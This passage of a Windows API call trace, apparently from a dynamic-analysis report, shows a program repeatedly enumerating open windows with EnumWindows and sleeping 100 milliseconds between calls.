(dwMilliseconds=0x64) [0137.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.125] Sleep (dwMilliseconds=0x64) [0137.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.127] Sleep (dwMilliseconds=0x64) [0137.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.129] Sleep (dwMilliseconds=0x64) [0137.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.130] Sleep (dwMilliseconds=0x64) [0137.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.132] Sleep (dwMilliseconds=0x64) [0137.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.133] Sleep (dwMilliseconds=0x64) [0137.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.135] Sleep (dwMilliseconds=0x64) [0137.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.183] Sleep (dwMilliseconds=0x64) [0137.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.184] Sleep (dwMilliseconds=0x64) [0137.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.185] Sleep (dwMilliseconds=0x64) [0137.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.187] Sleep (dwMilliseconds=0x64) [0137.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.188] Sleep (dwMilliseconds=0x64) [0137.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.190] Sleep (dwMilliseconds=0x64) [0137.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.192] Sleep (dwMilliseconds=0x64) [0137.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.193] Sleep (dwMilliseconds=0x64) [0137.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.196] Sleep (dwMilliseconds=0x64) [0137.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.197] Sleep (dwMilliseconds=0x64) [0137.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.199] Sleep (dwMilliseconds=0x64) [0137.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.200] Sleep (dwMilliseconds=0x64) [0137.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.202] Sleep (dwMilliseconds=0x64) [0137.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.204] Sleep (dwMilliseconds=0x64) [0137.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.206] Sleep (dwMilliseconds=0x64) [0137.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.208] Sleep (dwMilliseconds=0x64) [0137.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.210] Sleep (dwMilliseconds=0x64) [0137.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.212] Sleep (dwMilliseconds=0x64) [0137.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.234] Sleep (dwMilliseconds=0x64) [0137.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.236] Sleep (dwMilliseconds=0x64) [0137.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.237] Sleep (dwMilliseconds=0x64) [0137.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.239] Sleep (dwMilliseconds=0x64) [0137.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.241] Sleep (dwMilliseconds=0x64) [0137.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.243] Sleep (dwMilliseconds=0x64) [0137.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.244] Sleep (dwMilliseconds=0x64) [0137.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.246] Sleep (dwMilliseconds=0x64) [0137.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.248] Sleep (dwMilliseconds=0x64) [0137.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.249] Sleep (dwMilliseconds=0x64) [0137.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.251] Sleep (dwMilliseconds=0x64) [0137.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.253] Sleep (dwMilliseconds=0x64) [0137.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.255] Sleep (dwMilliseconds=0x64) [0137.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.260] Sleep (dwMilliseconds=0x64) [0137.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.261] Sleep (dwMilliseconds=0x64) [0137.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.263] Sleep (dwMilliseconds=0x64) [0137.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.264] Sleep (dwMilliseconds=0x64) [0137.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.267] Sleep (dwMilliseconds=0x64) [0137.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.268] Sleep (dwMilliseconds=0x64) [0137.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.270] Sleep (dwMilliseconds=0x64) [0137.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.272] Sleep (dwMilliseconds=0x64) [0137.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.273] Sleep (dwMilliseconds=0x64) [0137.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.275] Sleep (dwMilliseconds=0x64) [0137.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.277] Sleep (dwMilliseconds=0x64) [0137.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.279] Sleep (dwMilliseconds=0x64) [0137.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.286] Sleep (dwMilliseconds=0x64) [0137.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.288] Sleep (dwMilliseconds=0x64) [0137.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.291] Sleep (dwMilliseconds=0x64) [0137.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.293] Sleep (dwMilliseconds=0x64) [0137.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.386] Sleep (dwMilliseconds=0x64) [0137.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.455] Sleep (dwMilliseconds=0x64) [0137.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.478] Sleep (dwMilliseconds=0x64) [0137.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.480] Sleep (dwMilliseconds=0x64) [0137.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.481] Sleep (dwMilliseconds=0x64) [0137.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.483] Sleep (dwMilliseconds=0x64) [0137.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.497] Sleep (dwMilliseconds=0x64) [0137.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.499] Sleep (dwMilliseconds=0x64) [0137.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.523] Sleep (dwMilliseconds=0x64) [0137.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.525] Sleep (dwMilliseconds=0x64) [0137.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.526] Sleep (dwMilliseconds=0x64) [0137.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.528] Sleep (dwMilliseconds=0x64) [0137.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.529] Sleep (dwMilliseconds=0x64) [0137.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.531] Sleep (dwMilliseconds=0x64) [0137.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.532] Sleep (dwMilliseconds=0x64) [0137.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.534] Sleep (dwMilliseconds=0x64) [0137.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.535] Sleep (dwMilliseconds=0x64) [0137.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.537] Sleep (dwMilliseconds=0x64) [0137.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.553] Sleep (dwMilliseconds=0x64) [0137.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.559] Sleep (dwMilliseconds=0x64) [0137.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.560] Sleep (dwMilliseconds=0x64) [0137.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.562] Sleep (dwMilliseconds=0x64) [0137.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.563] Sleep (dwMilliseconds=0x64) [0137.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.565] Sleep (dwMilliseconds=0x64) [0137.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.566] Sleep (dwMilliseconds=0x64) [0137.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.568] Sleep (dwMilliseconds=0x64) [0137.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.571] Sleep (dwMilliseconds=0x64) [0137.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.572] Sleep (dwMilliseconds=0x64) [0137.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.574] Sleep (dwMilliseconds=0x64) [0137.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.576] Sleep (dwMilliseconds=0x64) [0137.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.578] Sleep (dwMilliseconds=0x64) [0137.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.580] Sleep (dwMilliseconds=0x64) [0137.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.582] Sleep (dwMilliseconds=0x64) [0137.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.585] Sleep (dwMilliseconds=0x64) [0137.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.586] Sleep (dwMilliseconds=0x64) [0137.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.588] Sleep (dwMilliseconds=0x64) [0137.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.590] Sleep (dwMilliseconds=0x64) [0137.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.592] Sleep (dwMilliseconds=0x64) [0137.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.593] Sleep (dwMilliseconds=0x64) [0137.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.595] Sleep (dwMilliseconds=0x64) [0137.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.597] Sleep (dwMilliseconds=0x64) [0137.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.693] Sleep (dwMilliseconds=0x64) [0137.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.695] Sleep (dwMilliseconds=0x64) [0137.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.698] Sleep (dwMilliseconds=0x64) [0137.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.699] Sleep (dwMilliseconds=0x64) [0137.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.701] Sleep (dwMilliseconds=0x64) [0137.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.704] Sleep (dwMilliseconds=0x64) [0137.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.705] Sleep (dwMilliseconds=0x64) [0137.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.707] Sleep (dwMilliseconds=0x64) [0137.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.709] Sleep (dwMilliseconds=0x64) [0137.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.711] Sleep (dwMilliseconds=0x64) [0137.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.714] Sleep (dwMilliseconds=0x64) [0137.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.722] Sleep (dwMilliseconds=0x64) [0137.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.737] Sleep (dwMilliseconds=0x64) [0137.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.740] Sleep (dwMilliseconds=0x64) [0137.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.742] Sleep (dwMilliseconds=0x64) [0137.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.744] Sleep (dwMilliseconds=0x64) [0137.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.746] Sleep (dwMilliseconds=0x64) [0137.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.985] Sleep (dwMilliseconds=0x64) [0137.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.987] Sleep (dwMilliseconds=0x64) [0137.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.989] Sleep (dwMilliseconds=0x64) [0137.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.991] Sleep (dwMilliseconds=0x64) [0137.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.993] Sleep (dwMilliseconds=0x64) [0137.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.994] Sleep (dwMilliseconds=0x64) [0137.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0137.996] Sleep (dwMilliseconds=0x64) [0138.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.261] Sleep (dwMilliseconds=0x64) [0138.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.375] Sleep (dwMilliseconds=0x64) [0138.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.455] Sleep (dwMilliseconds=0x64) [0138.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.457] Sleep (dwMilliseconds=0x64) [0138.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.459] Sleep (dwMilliseconds=0x64) [0138.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.460] Sleep (dwMilliseconds=0x64) [0138.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.462] Sleep (dwMilliseconds=0x64) [0138.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.463] Sleep (dwMilliseconds=0x64) [0138.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.469] Sleep (dwMilliseconds=0x64) [0138.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.471] Sleep (dwMilliseconds=0x64) [0138.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.473] Sleep (dwMilliseconds=0x64) [0138.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.474] Sleep (dwMilliseconds=0x64) [0138.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.475] Sleep (dwMilliseconds=0x64) [0138.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.477] Sleep (dwMilliseconds=0x64) [0138.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.478] Sleep (dwMilliseconds=0x64) [0138.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.480] Sleep (dwMilliseconds=0x64) [0138.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.482] Sleep (dwMilliseconds=0x64) [0138.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.483] Sleep (dwMilliseconds=0x64) [0138.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.484] Sleep (dwMilliseconds=0x64) [0138.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.555] Sleep (dwMilliseconds=0x64) [0138.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.557] Sleep (dwMilliseconds=0x64) [0138.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.559] Sleep (dwMilliseconds=0x64) [0138.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.561] Sleep (dwMilliseconds=0x64) [0138.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.585] Sleep (dwMilliseconds=0x64) [0138.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.587] Sleep (dwMilliseconds=0x64) [0138.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.589] Sleep (dwMilliseconds=0x64) [0138.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.591] Sleep (dwMilliseconds=0x64) [0138.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.593] Sleep (dwMilliseconds=0x64) [0138.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.595] Sleep (dwMilliseconds=0x64) [0138.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.596] Sleep (dwMilliseconds=0x64) [0138.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.598] Sleep (dwMilliseconds=0x64) [0138.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.599] Sleep (dwMilliseconds=0x64) [0138.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.601] Sleep (dwMilliseconds=0x64) [0138.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.602] Sleep (dwMilliseconds=0x64) [0138.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.606] Sleep (dwMilliseconds=0x64) [0138.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.608] Sleep (dwMilliseconds=0x64) [0138.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.611] Sleep (dwMilliseconds=0x64) [0138.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.613] Sleep (dwMilliseconds=0x64) [0138.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.614] Sleep (dwMilliseconds=0x64) [0138.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.616] Sleep (dwMilliseconds=0x64) [0138.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.618] Sleep (dwMilliseconds=0x64) [0138.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.620] Sleep (dwMilliseconds=0x64) [0138.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.622] Sleep (dwMilliseconds=0x64) [0138.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.624] Sleep (dwMilliseconds=0x64) [0138.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.626] Sleep (dwMilliseconds=0x64) [0138.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.628] Sleep (dwMilliseconds=0x64) [0138.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.630] Sleep (dwMilliseconds=0x64) [0138.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.631] Sleep (dwMilliseconds=0x64) [0138.633] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.633] Sleep (dwMilliseconds=0x64) [0138.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.636] Sleep (dwMilliseconds=0x64) [0138.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.638] Sleep (dwMilliseconds=0x64) [0138.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.641] Sleep (dwMilliseconds=0x64) [0138.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.643] Sleep (dwMilliseconds=0x64) [0138.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.644] Sleep (dwMilliseconds=0x64) [0138.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.646] Sleep (dwMilliseconds=0x64) [0138.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.648] Sleep (dwMilliseconds=0x64) [0138.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.650] Sleep (dwMilliseconds=0x64) [0138.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.651] Sleep (dwMilliseconds=0x64) [0138.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.653] Sleep (dwMilliseconds=0x64) [0138.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.695] Sleep (dwMilliseconds=0x64) [0138.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.697] Sleep (dwMilliseconds=0x64) [0138.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.699] Sleep (dwMilliseconds=0x64) [0138.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.700] Sleep (dwMilliseconds=0x64) [0138.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.702] Sleep (dwMilliseconds=0x64) [0138.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.705] Sleep (dwMilliseconds=0x64) [0138.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.721] Sleep (dwMilliseconds=0x64) [0138.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.724] Sleep (dwMilliseconds=0x64) [0138.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.782] Sleep (dwMilliseconds=0x64) [0138.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.784] Sleep (dwMilliseconds=0x64) [0138.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.785] Sleep (dwMilliseconds=0x64) [0138.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.789] Sleep (dwMilliseconds=0x64) [0138.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.791] Sleep (dwMilliseconds=0x64) [0138.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.793] Sleep (dwMilliseconds=0x64) [0138.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.794] Sleep (dwMilliseconds=0x64) [0138.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.796] Sleep (dwMilliseconds=0x64) [0138.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.797] Sleep (dwMilliseconds=0x64) [0138.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.799] Sleep (dwMilliseconds=0x64) [0138.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.802] Sleep (dwMilliseconds=0x64) [0138.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.803] Sleep (dwMilliseconds=0x64) [0138.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.805] Sleep (dwMilliseconds=0x64) [0138.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.811] Sleep (dwMilliseconds=0x64) [0138.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.813] Sleep (dwMilliseconds=0x64) [0138.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0138.988] Sleep (dwMilliseconds=0x64) [0139.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.114] Sleep (dwMilliseconds=0x64) [0139.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.161] Sleep (dwMilliseconds=0x64) [0139.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.214] Sleep (dwMilliseconds=0x64) [0139.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.219] Sleep (dwMilliseconds=0x64) [0139.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.221] Sleep (dwMilliseconds=0x64) [0139.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.223] Sleep (dwMilliseconds=0x64) [0139.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.225] Sleep (dwMilliseconds=0x64) [0139.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.227] Sleep (dwMilliseconds=0x64) [0139.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.229] Sleep (dwMilliseconds=0x64) [0139.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.231] Sleep (dwMilliseconds=0x64) [0139.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.233] Sleep (dwMilliseconds=0x64) [0139.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.235] Sleep (dwMilliseconds=0x64) [0139.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.237] Sleep (dwMilliseconds=0x64) [0139.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.239] Sleep (dwMilliseconds=0x64) [0139.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.241] Sleep (dwMilliseconds=0x64) [0139.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.243] Sleep (dwMilliseconds=0x64) [0139.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.245] Sleep (dwMilliseconds=0x64) [0139.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.250] Sleep (dwMilliseconds=0x64) [0139.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.252] Sleep (dwMilliseconds=0x64) [0139.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.255] Sleep (dwMilliseconds=0x64) [0139.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.258] Sleep (dwMilliseconds=0x64) [0139.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.260] Sleep (dwMilliseconds=0x64) [0139.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.350] Sleep (dwMilliseconds=0x64) [0139.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.352] Sleep (dwMilliseconds=0x64) [0139.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.354] Sleep (dwMilliseconds=0x64) [0139.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.356] Sleep (dwMilliseconds=0x64) [0139.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.362] Sleep (dwMilliseconds=0x64) [0139.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.366] Sleep (dwMilliseconds=0x64) [0139.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.369] Sleep (dwMilliseconds=0x64) [0139.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.371] Sleep (dwMilliseconds=0x64) [0139.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.374] Sleep (dwMilliseconds=0x64) [0139.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.376] Sleep (dwMilliseconds=0x64) [0139.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.378] Sleep (dwMilliseconds=0x64) [0139.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.380] Sleep (dwMilliseconds=0x64) [0139.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0139.425] Sleep (dwMilliseconds=0x64) [0139.427] EnumWindows 